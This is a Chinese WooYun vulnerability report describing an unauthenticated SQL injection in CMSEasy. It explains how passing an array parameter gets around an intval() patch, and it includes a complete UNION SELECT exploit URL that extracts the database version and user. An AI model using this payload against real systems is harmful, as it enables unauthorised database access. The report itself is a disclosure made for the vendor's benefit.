漏洞概要 关注数(36) 关注此漏洞
缺陷编号: WooYun-2015-94151
漏洞标题: cmseasy 修复不当前台无需登录union注射(php缺陷绕过)
相关厂商: cmseasy
漏洞作者: menmen519
提交时间: 2015-01-27 22:29
公开时间: 2015-04-27 22:30
漏洞类型: SQL注射漏洞
危害等级: 高
自评Rank: 20
漏洞状态: 厂商已经确认
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org
Tags标签: php+数字类型注射 php源码审核
漏洞详情
披露状态:
2015-01-27: 细节已通知厂商并且等待厂商处理中
2015-01-28: 厂商已经确认,细节仅向厂商公开
2015-01-31: 细节向第三方安全合作伙伴开放(绿盟科技、唐朝安全巡航、无声信息)
2015-03-24: 细节向核心白帽子及相关领域专家公开
2015-04-03: 细节向普通白帽子公开
2015-04-13: 细节向实习白帽子公开
2015-04-27: 细节向公众公开
简要描述:
cmseasy 修复不当前台无需登录union注射
详细说明:
下载最新版本的cmseasy,
文件大小:9.83 MB
更新日期:2015-01-21
推荐配置:Mysql5.0 + PHP 5.0
看看这里的修复方案:
archive.php:
这里居然搞成intval(front::get('aid')) 这不是自欺欺人呢么
大家都知道intval("1 sdasda") == 1 成立的
还有一个特性,就是如果传递的是数组
<?php
$a = array(1234);
echo intval($a);
?>
这个的输出结果是1 正好绕过
ok
访问url:
http://localhost/cmseasynew/uploads/index.php?case=archive&act=orders&aid[typeid%60%3d1%20UNION%20SELECT/**/1,2,3,concat(version(),user()),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58 from cmseasy_archive ORDER BY 1%23]=1
漏洞证明:
修复方案:
版权声明:转载请注明来源 menmen519@乌云
漏洞回应
厂商回应:
危害等级:低
漏洞Rank:1
确认时间:2015-01-28 14:28
厂商回复:
感谢
最新状态:
暂无
漏洞评价:
对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值